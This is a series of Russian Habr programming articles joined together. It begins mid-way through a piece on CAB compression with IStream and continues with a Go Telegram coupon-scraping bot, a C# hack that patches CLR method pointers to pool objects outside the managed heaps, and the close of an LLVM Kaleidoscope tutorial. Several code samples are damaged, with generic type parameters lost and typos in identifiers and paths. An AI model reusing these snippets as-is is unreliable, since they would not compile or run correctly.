### fInfo
Устанавливает атрибуты файла.
```
FNFCIGETOPENINFO(fInfo){
*pattribs = 0;
return (INT_PTR)pszName;
}
```
*IStream* не поддерживает атрибуты даты, да и вообще файловые атрибуты, поэтому значение по адресу pattribs надо установить в 0, иначе вы рискуете получить файлы в архиве со странными атрибутами (а то и не получить архив вовсе).
Возврат -1 означает ошибку, в противном случае надо вернуть дескриптор открытого файла.
### fTemp
Создание временного файла.
```
FNFCIGETTEMPFILE(fTemp){
*(IStream**)pszTempName = SHCreateMemStream(0, 0);
return 1;
}
```
В случае успеха возвращает **TRUE**, иначе — **FALSE**. Имя файла (указатель на *IStream* в данном случае) передаётся через параметр *pszTempName*.
### fDelete
Удаление файла.
```
FNFCIDELETE(fDelete){
(*(IStream**)pszFile)->Release();
return 0;
}
```
При успехе возвращает 0, при неудаче — -1. Удаление файла в данном случае — это освобождение занимаемых потоком ресурсов, поэтому просто делаем *Release()*.
### fAlloc, fFree
Выделение/освобождение памяти.
```
FNFCIALLOC(fAlloc){
return new char[cb];
}
FNFCIFREE(fFree){
delete memory;
}
```
Тут всё очень просто, поэтому я даже объединил эти функции в одном разделе.
### fOpen
Открытие файла (потока).
```
FNFCIOPEN(fOpen){
return *(INT_PTR*)pszFile;
}
```
Т.к. имя файла в нашем случае эквивалентно дескриптору этого файла, поэтому мы и возвращаем имя в качестве дескриптора (ну или -1, если вдруг произошла какая-то ошибка).
### fClose
Закрытие дескриптора файла.
```
FNFCICLOSE(fClose){
LARGE_INTEGER li = {};
((IStream*)hf)->Seek(li, 0, 0);
return 0;
}
```
При успехе возвращает 0, при неудаче — -1. Почему не *Release()*? Потому что он «удаляет файл», т.е. уничтожает поток, в то время как нужно лишь его закрытие. Поэтому просто сбрасываем указатель на начало.
### fRead, fWrite
Чтение/запись данных из файла/в файл.
```
FNFCIREAD(fRead){
ULONG ul;
HRESULT hr = ((IStream*)hf)->Read(memory, cb, &ul);
return (hr && hr != S_FALSE) ? -1 : ul;
}
FNFCIWRITE(fWrite){
ULONG ul;
HRESULT hr = ((IStream*)hf)->Write(memory, cb, &ul);
return (hr && hr != S_FALSE) ? -1 : ul;
}
```
Возвращает количество прочтённых/записанных байт или -1 в случае ошибки (0 — достигнут конец файла).
### fSeek
Позиционирование указателя в файле.
```
FNFCISEEK(fSeek){
LARGE_INTEGER liDist = {dist};
HRESULT h r =((IStream*)hf)->Seek(liDist, seektype, (ULARGE_INTEGER*)&liDist);
return hr ? -1 : liDist.LowPart;
}
```
Возвращает -1 при ошибке, иначе — новую позицию указателя.
Реализация интерфейса распаковки
--------------------------------
Код распаковки выглядит следующим образом:
```
/*
Входные данные:
IStream* pIStrCab — поток с архивом
*/
ERF erf;
HFDI hFDI = FDICreate(fAlloc, fFree, fnOpen, fnRead, fnWrite, fnClose, fnSeek, cpuUNKNOWN, &erf);
if(hFDI){
IStream *pIStrSrc = SHCreateMemStream(0, 0);
if(FDICopy(hFDI, (PSZ)&pIStrCab, (PSZ)&pIStrCab, 0, fnNotify, 0, &pIStrSrc)){
//Использование данных из потока pIStrSrc
}
pIStrSrc->Release();
FDIDestroy(hFDI);
}
pIStrCab->Release();
/*
Выходные данные:
IStream* pIStrSrc — поток с распакованными данными
*/
```
Здесь уже не всё так просто. Дело в том, что извлечение **всех** файлов из архива инициируется единственной функцией *FDICopy*, которая в процессе своей работы вызывает *fnNotify*, где и происходит вся магия. Но об этом — чуть позже.
В целом процесс аналогичен: создаём контекст FDI, поток для выходных данных, извлекаем файл из архива в этот поток (в моём примере надо было извлечь единственный файл) и уничтожаем контекст. *(PSZ)&pIStrCab* надо указать дважды, потому что в процессе своей работы функция конкатенирует оба параметра, и если опустить один из них, то будет ошибка (да, и на такие грабли я тоже натыкался).
Теперь немного о функциях. В целом они аналогичны функциям FCI, кроме того, что у них нет 2-х параметров; функции выделения/освобождения памяти вообще идентичны, поэтому повторно их описывать не имеет смысла. Для уменьшения количества кода можно переписать функции FCI через функции FDI, чтобы не указывать лишние нулевые параметры.
### fnOpen, fnClose
Открытие/закрытие файла (потока).
```
FNOPEN(fnOpen){
return *(INT_PTR*)pszFile;
}
FNCLOSE(fnClose){
return fClose(hf, 0, 0);
}
```
*fnOpen* проще продублировать, чем вызывать *fOpen*, а в *fnClose* вызывается функция FCI *fClose* с 2-мя нулевыми последними параметрами, ибо они не используются в этой реализации.
### fnRead, fnWrite, fnSeek
Чтение/запись данных и позиционирование указателя.
```
FNREAD(fnRead){
return fRead(hf, pv, cb, 0, 0);
}
FNWRITE(fnWrite){
return fWrite(hf, pv, cb, 0, 0);
}
FNSEEK(fnSeek){
return fSeek(hf, dist, seektype, 0, 0);
}
```
Возвращаемые значения аналогичны значениям для FCI.
### fnNotify
Самая главная функция.
```
FNFDINOTIFY(fnNotify){
if(fdint == fdintCOPY_FILE)
if(!lstrcmp(pfdin->psz1, "Data")) //Если это тот файл, который надо извлечь
return (INT_PTR)*(int*)pfdin->pv;
return fdint == fdintCLOSE_FILE_INFO;
}
```
Всю информацию по функции можно прочитать [тут](http://msdn.microsoft.com/en-us/library/ff797944). Здесь же нужно несколько пояснений.
В большинстве случаев функция возвращает 0 как показатель успеха (кроме *fdintCLOSE\_FILE\_INFO*, тогда надо вернуть **TRUE**). При *fdint == fdintCOPY\_FILE* поведение следующее: 0 означает пропуск файла, -1 — ошибка (завершение *FDICopy*), другое значение — дескриптор потока, в который надо извлечь данные.
Теперь начинается самое интересное, потому что если мы будем создавать потоки в этой функции, снаружи мы не получим к ним доступ. Поэтому есть минимум 2 пути решения, и оба они затрагивают доселе незадействованный и потому неприметный последний параметр *pvUser* функции *FDICopy*. Через него можно передавать пользовательские данные, и именно он возвращается в *pfdin->pv*. Первый путь — если у вас есть фиксированный список имён файлов, которые надо извлечь из архива, то его можно передать в виде массива структур, содержащих требуемое имя файла и указатель на *IStream* для извлечения в него. Второй путь — когда число файлов неизвестно, и вам надо извлечь их все; в таком случае через *pvUser* можно передать адрес контейнера (например, *std::vector*), в котором будут сохраняться имена и дескрипторы извлечённых файлов).
Послесловие
-----------
Этот способ подходит для случаев, когда результирующий размер данных у вас не особо большой — порядка сотни мегабайт. Разумеется, при наличии 8+ Гб памяти это не такие уж и большие затраты, но помните, что операция перевыделения памяти — не самая быстрая операция, которая к тому же ведёт к фрагментации памяти, вследствие чего может внезапно случиться такая оказия, что достаточно длинного непрерывного блока памяти у вас не будет.
В качестве некоторой альтернативы можно использовать [structured storage](http://msdn.microsoft.com/en-us/library/windows/desktop/aa380369) (там тот же самый *IStream*) или файловые потоки, созданные с помощью [SHCreateStreamOnFile](http://msdn.microsoft.com/en-us/library/windows/desktop/bb759864)/[SHCreateStreamOnFileEx](http://msdn.microsoft.com/en-us/library/windows/desktop/bb759866). Таким образом, можно совместить операции ввода/вывода в памяти с аналогичными операциями в файлах, т.к. интерфейс *IStream* может использоваться в обоих случаях без каких-либо дополнительных манипуляций.
Если у вас есть какие-то вопросы по реализации, готов ответить на них в комментариях. | https://habr.com/ru/post/314832/ | null | ru | null |
# Автоматизация сбора купонов для бесплатной литературы
Предыстория
===========
На ЛитРес есть система бонусов и купонов, которые появляются с завидной регулярностью. Чтобы сделать приятное жене, да и в целом может найти себе интересную книжку, начал мониторить сайт в котором появляются свежие купоны и скидывал их в телеграм. Но буквально спустя несколько дней мне это дело надоело и я решил автоматизировать данный процесс так, чтобы он мог быть доступен всем кто этого хочет.
Реализация
==========
Так как я постоянно постил новые купоны в телеграм, да и в целом мне нравится этот инструмент, решил создать еще одного бота для телеграма, благо дело для него уже создано достаточное количество библиотек. Возьмем в качестве языка **golang** и библиотеку **telegram-bot-api**. Так же нам нужно выбрать ресурс с которого можно было бы тянуть информацию, у меня на примете было несколько сайтов и я думал в целом написать универсальный парсер, но в какой-то момент мне стало лень, и я решил остановить свой выбор на одном [ресурсе](https://lovikod.ru/knigi/promokody-litres). Для того чтобы хранить купоны даже после рестарта, решил воспользоваться простой базой sqlite3. В ней будем хранить информацию о купонах, а так же информацию о зарегистрированных пользователях в телеграм боте, так же информацию о том какие купоны пользователь уже получил и какие ещё нет.
#### Выглядит это примерно так
#### Парсинг сайта
Парсингом сайта у нас займется библиотека **goquery** — работает примерно так же как и jquery.
Оперируя структурой **goquery.Document** вытягиваем html теги нужные нам. Получаем дату, код, ссылку и описание купона. Купоны бывают разные поэтому нам нужно взять описание чтобы точно знать что он дает. Время на сайте отображается в нескольких форматах значит его мы будем преобразовывать unixtime, для того чтобы потом можно было удобно проверять срок действия купонов. Ссылку тоже изменим, для того чтобы она отработала и перевела нас на сайт ЛитРес, иначе возникнет ошибка. Связана она с тем, что ссылка ведет на сайт из которого мы вытягиваем купоны, и если мы перешли туда воспользовавшись прямой ссылкой не через сайт то js на этой странице не отрабатывает и мы не получаем желаемого результата.
#### Telegram bot
Как настраивать бота с помощью **BotFather** я рассказывать не буду, на сайте telegram есть отличная инструкция. В telegram api есть несколько способов получать события произошедшие с ботом, первый это простой http запрос который отдаст все в виде струтуры и второй это websocket. Изначально я не собирался использовать свой сервак по этому воспользовался первым способом, благо дело что в **telegram-bot-api** есть updater и разницу вы не почувствуете.
**Создание бота**
```
type SNBot struct {
cfg *Config
bot *tgbotapi.BotAPI
upd tgbotapi.UpdatesChannel
}
func New(cfg *Config) (*SNBot, error) {
bot, err := tgbotapi.NewBotAPI(cfg.Token)
if err != nil {
return nil, err
}
level.Info(cfg.Logger).Log("msg", "Authorized on account", "bot-name", bot.Self.UserName)
u := tgbotapi.NewUpdate(0)
u.Timeout = cfg.UpdateTime
updates, err := bot.GetUpdatesChan(u)
if err != nil {
return nil, err
}
return &SNBot{
cfg: cfg,
bot: bot,
upd: updates,
}, nil
}
```
После создания базы, бота и парсера мы должны задать время через которое будет работать наш бот и делать рассылку, для этого воспользуемся **gocron**. Сначала парсер опрашивает сайт потом task которую мы создали в gocron собирает все чаты из storage и отправляет ещё не отправленные купоны из **storage** в чат юзера.
**Task function**
```
func task(bot *snbot.SNBot, s *storage.Storage, c *collector.Collector, logger kitlog.Logger) {
c.Collect(collector.ConditionQuery{
URI: "https://lovikod.ru/knigi/promokody-litres",
})
chats, err := s.GetChat()
if err != nil {
level.Error(logger).Log("msg", "failed get chats", "err", err)
}
for _, id := range chats {
records, err := s.GetNotUseCoupon(id)
if err != nil {
level.Error(logger).Log("msg", "failed get coupons", "err", err)
return
}
var msg string
for i, rec := range records {
msg = fmt.Sprintf("%v%v:\t%s \nКод--->: %s\nВремя истечения: %v\nОписание: %s\n\n", msg, i+1, rec.Link, rec.Code, time.Unix(rec.Date, 0).Format("02.01.2006"), rec.Description)
}
if len(msg) != 0 {
err = bot.Send(id, msg)
if err != nil {
level.Error(logger).Log("msg", "failed send message", "err", err)
continue
}
err = s.MarkAsRead(id, records)
if err != nil {
level.Error(logger).Log("msg", "failed marked as read", "err", err)
continue
}
}
}
level.Info(logger).Log("msg", "send all chats new coupons")
}
```
> Из-за того что количество купонов бывает намного больше, чем разрешено отправлять в чат, пришлось сделать искусственное ограничение на количество купонов за один раз до пяти и добавить спец кнопку, которая позволяет получить все ещё не полученные купоны.
**Функция отправки сообщения**
```
func (s *SNBot) Send(chatID int64, msg string) error {
level.Error(s.cfg.Logger).Log("msg", "try send", "chatID", chatID)
var numericKeyboard = tgbotapi.NewReplyKeyboard(
tgbotapi.NewKeyboardButtonRow(
tgbotapi.NewKeyboardButton("/print5"),
),
)
m := tgbotapi.NewMessage(chatID, msg)
m.ReplyMarkup = numericKeyboard
_, err := s.bot.Send(m)
if err != nil {
if err.Error() == errBlockedByUser {
s.cfg.Storage.UpdChatActivity(chatID, false)
}
return err
}
return nil
}
```
#### Создание Dockerfile
Какое нынче приложение да и без докера, создадим докер образ.
```
# build binary
FROM golang:1.10.3-alpine3.8 AS build
RUN apk add --no-cache linux-headers gcc g++
ARG VERSION=dev
WORKDIR /go/src/github.com/wenkaler/xfreehack
COPY . /go/src/github.com/wenkaler/xfreehack
RUN CGO_ENABLED=1 go build \
-o /out/xfree \
-ldflags "-X main.serviceVersion=$VERSION" \
github.com/wenkaler/xfreehack/cmd
# copy to alpine image
FROM alpine:3.8
WORKDIR /app
RUN mkdir /db
COPY --from=build /out/xfree /app
RUN apk add --no-cache tzdata
RUN apk --no-cache add ca-certificates
ENV TZ Europe/Moscow
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
CMD ["/app/xfree"]
```
#### Systemd
В итоге я все же купил виртуалку. Но как оказалось на ней стоит ядро версии 2.6, поэтому я не стал париться с его upgrad-ом и просто все запустил через systemd. Зачем? — просто докер не может быть установлен на систему с ядром ниже версии 3.
```
[Unit]
Description=Xfree service
After=network.target
After=network-online.target
[Service]
ExecStart=/urs/local/bin/xfree
Environment="TELEGRAM_TOKEN=$TELEGRAM_TOKEN" "PATH_DB=/db/xfree.db"
TimeoutSec=30
Restart=on-failure
RestartSec=30
[Install]
WantedBy=multi-user.target
```
Вывод
-----
Теперь жена довольна, что может получать и бесплатные книги на ЛитРес, ну а мне было просто интересно решить эту проблему.Есть ещё что можно улучшить, добавить систему оповещения если не сработает ф-я MarkAsRead (пока что такого не было, но мало ли), так же он сейчас отменяет подписку и больше не рассылает сообщения людям которые отписались от него и нужно вернуть их в активное состояние после повторного нажатия команды /start. Ну и в целом добавить возможность выбора времени рассылки и выбора купонов, ведь на сайте есть не только купоны от ЛитРес. Но это все по необходимости, пока что таких заявок не поступало.
#### Ссылки
1. [Сам проект](https://github.com/wenkaler/xfreehack)
2. [Сайт с купонами](https://lovikod.ru/knigi/promokody-litres)
3. Имя бота @xFreeCouponBot | https://habr.com/ru/post/494460/ | null | ru | null |
# Продолжаем кромсать CLR: пул объектов .Net вне куч SOH/LOH
Добрый день, уважаемые разработчики (просто не знал, с чего начать пост). Предлагаю перед тем как начнется трудовая неделя немного подразмять мозги (совсем немного) и построить свой Small Objects Heap для .Net. Вернее даже не Small Objects Heap, а Custom Objects Heap.
Как все мы знаем, в .Net существует две группы куч: для больших и малых объектов. Как выяснить, во сколько нам обойдется объект можно при помощи кода из этой статьи (он нам пригодится): [ Ручное клонирование потока](http://habrahabr.ru/company/luxoft/blog/238947/), а получить указатель на объект и по указателю получить сам объект можно научиться, прочтя эту статью: [ Получение указателя на объект .Net](http://habrahabr.ru/company/luxoft/blog/219619/). Также нам понадобится статья корейского (южно-) программиста по перенаправлению указателя на скомпилированную часть метода на другой метод: [실행 시에 메서드 가로채기 — CLR Injection: Runtime Method Replacer 개선](http://www.sysnet.pe.kr/2/0/942)
Так что давайте поэкспериментируем и напишем библиотеку, которая позволит:
* Аллоцировать участок памяти
* Разметить его как набор объектов определенного .Net типа
* Выделять объекты с этой памяти
* Возвращать их обратно
Ссылка на проект на GitHub: [ DotNetEx](https://github.com/mumusan/dotnetex)
**Для начала, полный список выложенных на Хабре статей данного цикла** [Делаем отгружаемые сборки: взаимодействуем между доменами без маршаллинга](http://habrahabr.ru/company/luxoft/blog/247491/)
[Получение указателя на объект .Net](http://habrahabr.ru/company/luxoft/blog/219619/)
[Ручное клонирование потока. Когда Assembler + C# или Java = Love](http://habrahabr.ru/company/luxoft/blog/238947/)
[Изменение кода системных сборок или «утечка» .Net Framework 5.0](http://habrahabr.ru/company/luxoft/blog/239005/)
[Как работает декомпиляция в .Net или Java на примере .Net](http://habrahabr.ru/company/luxoft/blog/244095/)
[Продолжаем кромсать CLR: пул объектов .Net вне куч SOH/LOH](http://habrahabr.ru/company/luxoft/blog/247433/)
[Снимаем дамп объектов с памяти .Net приложения](http://habrahabr.ru/company/luxoft/blog/247447/)
Т.е. напишем пул объектов вне .Net памяти.
Будем решать задачи по мере поступления вопросов.
* **Как разметить уже саллоцированный участок памяти каким-либо объектом?**
В любом объектно-ориентированном языке объект состоит из указателя на таблицу виртуальных методов и полей объекта. Таблица эта необходима чтобы понимать какие из перегрузок методов должны быть вызваны и сама по себе нам не так интересна в рамках данной задачи. Если мы работаем с каким-либо объектом и вызываем «у него» метод, это значит что сначала будет загружен адрес объекта, по нему будем расположен адрес таблицы виртуальных методов. А по этому адресу мы берем указатель на нужный метод и вызываем его. Значит чтобы любой участок памяти представить как объект определенного типа необходимо просто записать указатель на таблицу виртуальных методов.
Как мы это можем сделать? Сначала я брал экземпляр существующего объекта, и вычитывал первые 4 или 8 байт, записывая их к себе. Метод работал, но он не красивый. Нужен экземпляр. После чего я нашел что этот адрес легко вычитывается с помощью свойства typeof(TType).TypeHandle.
* **Как выделить кусок памяти?**
Это сделать совсем просто: есть функцияMarshal.AllocHGlobal(\_totalSize), которая позволяет выделить любое требуемое количество виртуальной памяти. Если вам при этом надо разместить эту память по любому адресу, то надо воспользоваться ее WinApi аналогом.
* **А как же вызов конструктора?**
Для того чтобы вызвать конструктор, у нас три пути:
+ Сделать метод Init и вызывать его. Это не очень красиво, не очень спортивно. Однако, не надо лезть в рефлексию и во внутренности .Net CLR.
+ Вызывать конструктор через рефлексию. Более спортивный метод, однако рефлексия налагает определенные тормоза.
+ После редактирования таблицы скомпилированных тел методов вызвать другой метод, но при этом будет вызван конструктор. Это мозговыносящий метод и в нем – наибольший процент спорта =) Им и воспользуемся. Ведь получится прямой вызов, без посредников. Как будто конструктор и вызвали.
##### Ну что, готовы? Давайте приступим.
Первое, что мы определяем – типы
```
internal static class Stub
{
public static void Construct(object obj, int value)
{
}
}
```
Это — тип, единственный **статический** метод которого будет изменен так, что указатель на скомпилированную часть метода будет смотреть на конструктор нашего типа. Первый параметр — **obj** — является по своей сути указателем **this**. Ведь, как вы знаете, this есть ни что иное как первый параметр метода, который есть всегда в каждом экземплярном методе. Второй параметр — целое число. Введен для того чтобы проверить что мы можем передавать целые числа.
```
public class UnmanagedObject : IDisposable where T : UnmanagedObject
{
internal IUnmanagedHeap heap;
#region IDisposable implementation
void IDisposable.Dispose()
{
heap.Free(this);
}
#endregion
}
```
Далее введем тип UnmanagedObject чтобы во-первых ввести метод возврата объекта в пул Dispose(), а во-вторых архитектурно отделить все объекты, предназначенные для размещения вне CLR куч от стандартных. Единственное поле класса типа internal, чтобы его можно было задать извне, в пуле объектов.
И последнее — класс самого пула.
```
public unsafe class UnmanagedHeap : IUnmanagedHeap where TPoolItem : UnmanagedObject
{
private readonly IntPtr \*\_freeObjects;
private readonly IntPtr \*\_allObjects;
private readonly int \_totalSize, \_capacity;
private int \_freeSize;
private readonly void \*\_startingPointer;
private readonly ConstructorInfo \_ctor;
public UnmanagedHeap(int capacity)
{
\_freeSize = capacity;
// Getting type size and total pool size
var objectSize = GCEx.SizeOf();
\_capacity = capacity;
\_totalSize = objectSize \* capacity + capacity \* IntPtr.Size \* 2;
\_startingPointer = Marshal.AllocHGlobal(\_totalSize).ToPointer();
var mTable = (MethodTableInfo\*)typeof(TPoolItem).TypeHandle.Value.ToInt32();
\_freeObjects = (IntPtr\*)\_startingPointer;
\_allObjects = (IntPtr\*)((long)\_startingPointer + IntPtr.Size \* capacity);
\_startingPointer = (void\*)((long)\_startingPointer + 2 \* IntPtr.Size \* capacity);
var pFake = typeof(Stub).GetMethod("Construct", BindingFlags.Static|BindingFlags.Public);
var pCtor = \_ctor = typeof(TPoolItem).GetConstructor(new []{typeof(int)});
MethodUtil.ReplaceMethod(pCtor, pFake, skip: true);
for(int i = 0; i < capacity; i++)
{
var handler = (IntPtr \*)((long)\_startingPointer + (objectSize \* i));
handler[1] = (IntPtr)mTable;
var obj = EntityPtr.ToInstance((IntPtr)handler);
var reference = (TPoolItem)obj;
reference.heap = this;
\_allObjects[i] = (IntPtr)(handler + 1);
}
Reset();
}
public int TotalSize
{
get {
return \_totalSize;
}
}
public TPoolItem Allocate()
{
\_freeSize--;
var obj = \_freeObjects[\_freeSize];
Stub.Construct(obj, 123);
return EntityPtr.ToInstanceWithOffset(obj);
}
public void Free(TPoolItem obj)
{
\_freeObjects[\_freeSize] = EntityPtr.ToPointerWithOffset(obj);
\_freeSize++;
}
public void Reset()
{
WinApi.memcpy((IntPtr)\_freeObjects, (IntPtr)\_allObjects, \_capacity \* IntPtr.Size);
\_freeSize = \_capacity;
}
object IUnmanagedHeapBase.Allocate()
{
return this.Allocate();
}
void IUnmanagedHeapBase.Free(object obj)
{
this.Free((TPoolItem)obj);
}
public void Dispose()
{
Marshal.FreeHGlobal((IntPtr)\_freeObjects);
}
}
```
По порядку:
В конструкторе класса мы сначала рассчитываем размер экземпляра типа. После чего умножаем на capacity, добавляем размер таблиц свободных/занятых слотов и получаем размер пула. Получив размер, аллоцируем пул в виртуальной памяти. После чего получаем описатели методов: конструктора типа и заглушки и у заглушки выставляем указатель на тело метода как тело конструктора:
```
var pFake = typeof(Stub).GetMethod("Construct", BindingFlags.Static|BindingFlags.Public);
var pCtor = _ctor = typeof(TPoolItem).GetConstructor(new []{typeof(int)});
MethodUtil.ReplaceMethod(pCtor, pFake, skip: true);
```
Последнее — в цикле, у каждого будущего объекта проставляем указатель на таблицу вирт методов, делаем кастинг в .Net тип и выставляем поле **heap** у только что проинициализированного объекта в наш пул.
Отдельный интерес представляет метод Allocate:
```
public TPoolItem Allocate()
{
_freeSize--;
var obj = _freeObjects[_freeSize];
Stub.Construct(obj, 123);
return EntityPtr.ToInstanceWithOffset(obj);
}
```
В нем мы сначала из таблицы свободных объектов берем последний из них. После чего вызываем метод Construct класса Stub, тело которого на самом деле — наш конструктор класса элемента пула. Конструктору передаем число 123 как параметр.
#### Использование
Использование протестируем с помощью следующего кода
using System;
using System.Runtime.CLR;
```
namespace UnmanagedPoolSample
{
class Program
{
///
/// Now cannot call default .ctor
///
private class Quote : UnmanagedObject
{
public Quote(int urr)
{
Console.WriteLine("Hello from object .ctor");
}
public int GetCurrent()
{
return 100;
}
}
static void Main(string[] args)
{
using (var pool = new UnmanagedHeap(1000))
{
using (var quote = pool.Allocate())
{
Console.WriteLine("quote: {0}", quote.GetCurrent());
}
}
Console.ReadKey();
}
}
}
```
Вывод в консоль:
 | https://habr.com/ru/post/247433/ | null | ru | null |
# Создание языка программирования с использованием LLVM. Часть 10: Заключение и другие вкусности LLVM
Оглавление:
[Часть 1: Введение и лексический анализ](https://habrahabr.ru/post/119850/)
[Часть 2: Реализация парсера и AST](https://habrahabr.ru/post/120005/)
[Часть 3: Генерация кода LLVM IR](https://habrahabr.ru/post/120424/)
[Часть 4: Добавление JIT и поддержки оптимизатора](https://habrahabr.ru/post/120516/)
[Часть 5: Расширение языка: Поток управления](https://habrahabr.ru/post/120881/)
[Часть 6: Расширение языка: Операторы, определяемые пользователем](https://habrahabr.ru/post/336080/)
[Часть 7: Расширение языка: Изменяемые переменные](https://habrahabr.ru/post/336468/)
[Часть 8: Компиляция в объектный код](https://habrahabr.ru/post/336876/)
[Часть 9: Добавляем отладочную информацию](https://habrahabr.ru/post/336980/)
**Часть 10: Заключение и другие вкусности LLVM**
### 9.1. Заключение
Добро пожаловать в заключительную часть руководства “Создание языка программирования с использованием LLVM”. На протяжении этого руководства, мы вырастили наш маленький язык Калейдоскоп с бесполезной игрушки до довольно интересной (хотя, возможно, по-прежнему бесполезной) игрушки.
Интересно видеть, как далеко мы зашли, и насколько мало кода это потребовало. Мы построили полный лексический анализатор, парсер, AST, генератор кода, интерактивное исполнение (с JIT!) и генерацию отладочной информации в самостоятельный исполняемый файл — всё это меньше 1000 строк уода (без учёта пустых строк и комментариев).
Наш маленький язык поддерживает пару интересных возможностей: он поддерживает определяемые пользователем бинарные и унарные операторы, использует JIT-компиляцию для немедленного исполнения, и поддерживает некоторые конструкции управления потоком исполнения с помощью генерации кода в SSA-форме.
Частью идеи этого руководства было показать вам как легко можно определить, построить и поиграть с языком. Построение компилятора не обязательно должно быть пугающим или мистическим процессом! Сейчас, когда вы увидели основы, я настоятельно рекомендую взять код и разбираться с ним. Например, попробуйте добавить:
глобальные переменные — хотя ценность глобальных переменных в современной программной инженерии находится под вопросом, они часто используются для маленьких быстрых хаков, таких, как сам по себе компилятор Калейдоскопа. К счастью, в нашу программу добавить глобальные переменные очень легко: просто проверяем для каждой переменной, есть ли она в глобальной таблице символов. Для того. чтобы создать новую глобальную переменную, создайте экземпляр класса LLVM GlobalVariable.
типизированные переменные — сейчас Калейдоскоп поддерживает только переменные типа double. Это делает язык очень элегантным, потому что поддержка только одного типа означает, что вам не нужно указывать типы переменных. Различные языки имею разные способы решения этой проблемы. Самый простой путь — потребовать от пользователя указывать тип для каждого определения переменной, и записывать типы переменных в таблицу символов вместе с их Value\*.
массивы, структуры, вектора, и т.п. Если вы вводите типы, вы можете начать расширять систему типов в разных интересных направлениях. Простые массивы сделать очень просто и полезно для разных видов приложений. Добавьте их в качестве упражнения, для изучения того, как работает инструкция LLVM getelementptr: она настолько элегантна и необычна, что имеет свой собственный FAQ!
стандартный рантайм — в текущем виде язык даёт пользователю возможность доступа к произвольным внешним функциям, и мы используем это для таких вещей, как «printd» и «putchard». Вы можете расширить язык так, чтобы добавить конструкции более высокого уровня, часто имеет смысл приводить такие конструкции к функциям рантайма, чем делать их в виде inline-последовательностей команд.
управление памятью — сейчас в языке Калейдоскоп есть доступ только к стеку. Также будет полезно выделять память в куче, либо путём вызова стандартных интерфейсов libc malloc/free, либо с помощью сборщика мусора. Если вы предпочтёте сборщик мусора, заметим, что LLVM полностью поддерживает точную сборку мусора (Accurate Garbage Collection), включая алгоритмы перемещения объектов, и необходимые для сканирования/обновления стека.
поддержка исключений — LLVM поддерживает генерацию исключений с нулевой стоимостью и с возможностью взаимодействия с кодом, скомпилированным в других языках. Вы можете также генерировать код, который подразумевает, что каждая функция возвращает значение ошибки, и проверяет это. Также можно реализовать исключения явным использованием setjmp/longjmp. В общем, существует много разных способов.
ООП, обобщённые типы, доступ к базам данных, комплексные числа, геометрическое программирование,… на самом деле, нет конца безумным штукам, которые можно добавить в язык.
необычные применения — мы говорили о применении LLVM в области, которой интересуются многие: построение компилятора для специфического языка. Однако, существует много других областей, для которых применение компилятора, на первый взгляд, не рассматривается. Например, LLVM используется для ускорения графики OpenGL, трансляции кода C++ в ActionScript, и множества других интересных вещей. Возможно, вы будете первым, кто построит JIT-компилятор в нативный код для регулярных выражений с помощью LLVM?
удовольствие — пробуйте сделать что-то безумное и необычное. Сделать язык, такой же, как все остальные, не так весело, как сделать что-то безумное. Если вы хотите поговорить об этом, не стесняйтесь писать в рассылку llvm-dev: там много людей, которые интересуются языками и часто желают помочь.
Перед тем, как мы закончим руководство, я хочу дать некоторые советы насчёт генерации LLVM IR. Есть некоторые тонкости, которые могут быть неочевидны, но очень полезны, если вы хотите получить преимущества от возможностей LLVM.
### 10.2. Свойства LLVM IR
Есть пара вопросов насчёт кода в форме LLVM IR, давайте рассмотрим их сейчас.
#### 10.2.1. Независимость от целевой платформы
Калейдоскоп является примером «переносимого языка»: любая программа, написанная на Калейдоскопе будет работать одинаково на любой целевой платформе, на которой будет запущена. Многие другие языки имеют такое же свойство, например, Lisp, Java, Haskell, Javascript, Python и т.п. (отметим, что, хотя эти языки являются переносимыми, не все их библиотеки переносимы).
Один хороший аспект LLVM состоит в сохранении независимости от целевой платформы на уровне IR: вы можете взять LLVM IR для программы, скомпилированной Калейдоскопом и запустить на любой целевой платформе, поддерживаемой LLVM, даже сгенерировать С-код и скомпилировать на тех целевых платформах, которые Калейдоскоп не поддерживает нативно. Можно сказать, что компилятор Калейдоскопа генерирует платформенно-независимый код потому что он не запрашивает никакой информации о платформе при генерации кода.
Тот факт, что LLVM предоставляет компактное, платформенно-независимое представление кода, очень привлекает. К сожалению, люди часто думают только о компиляции С или С-подобных языков, когда они спрашивают о переносимости языка. Я сказал «к сожалению», потому что на самом деле нельзя (в общем случае) сделать С-код переносимым, т.к., конечно же, сам по себе исходный код на С не является переносимым в общем случае, даже в случае портирования приложения с 32 на 64 бита.
Проблема с С (опять же, в общем случае) в том, что он очень полагается на платформеннозависимые допущения. В качестве простого примера, препроцессор сделает код платформеннозависимым, если он обрабатывает следующий текст:
```
#ifdef __i386__
int X = 1;
#else
int X = 42;
#endif
```
Хотя возможно решить эту проблему разными сложными путями, она не может быть решена в общем виде.
Но подмножество С можно сделать переносимым. Если вы сделаете примитивные типы фиксированного размера (например, int = 32 бита, long = 64 бита), не будете беспокоиться насчёт совместимости ABI с существующими бинарными файлами, и откажетесь от некоторых других возможностей, то вы можете получить переносимый код. Это имеет смысл для некоторых особых случаев.
#### 10.2.2. Гарантии безопасности
Многие из упомянутых языков также являются «безопасными»: для программы, написанной на Java невозможно испортить адресное пространство и уронить процесс (подразумевая, что JVM не имеет багов). Безопасность — это интересное свойство, требующее комбинации проектирования языка, поддержки рантайма, и, зачастую, поддержки ОС.
Определённо возможно реализовать безопасный язык в LLVM, но LLVM IR сам по себе не гарантирует безопасности. LLVM IR допускает небезопасные преобразования указателей, использование памяти после её освобождения, переполнение буферов, и различные другие проблемы. Безопасность должна быть реализована на уровне выше, чем LLVM и, к счастью, несколько групп занимались исследованием этого вопроса. Спрашивайте в списке рассылки llvm-dev, если вам интересны детали.
#### 10.2.3. Оптимизации, специфичные для языка
Есть одна вещь в LLVM, которая многим не нравится: он не решает в рамках одной системы всех проблем мира (простите, голодающие дети, вашу проблему должен решить кто-то другой, не сегодня). Одна претензия, которую предъявляют LLVM, выражается в том, что он не способен выполнить высокоуровневую, специфическую для языка, оптимизацию: LLVM «теряет слишком много информации».
К сожалению, здесь нет места, чтобы написать для вас полную и универсальную версию «теории прокектирования компиляторов». Вместо этого, я сделаю несколько наблюдений:
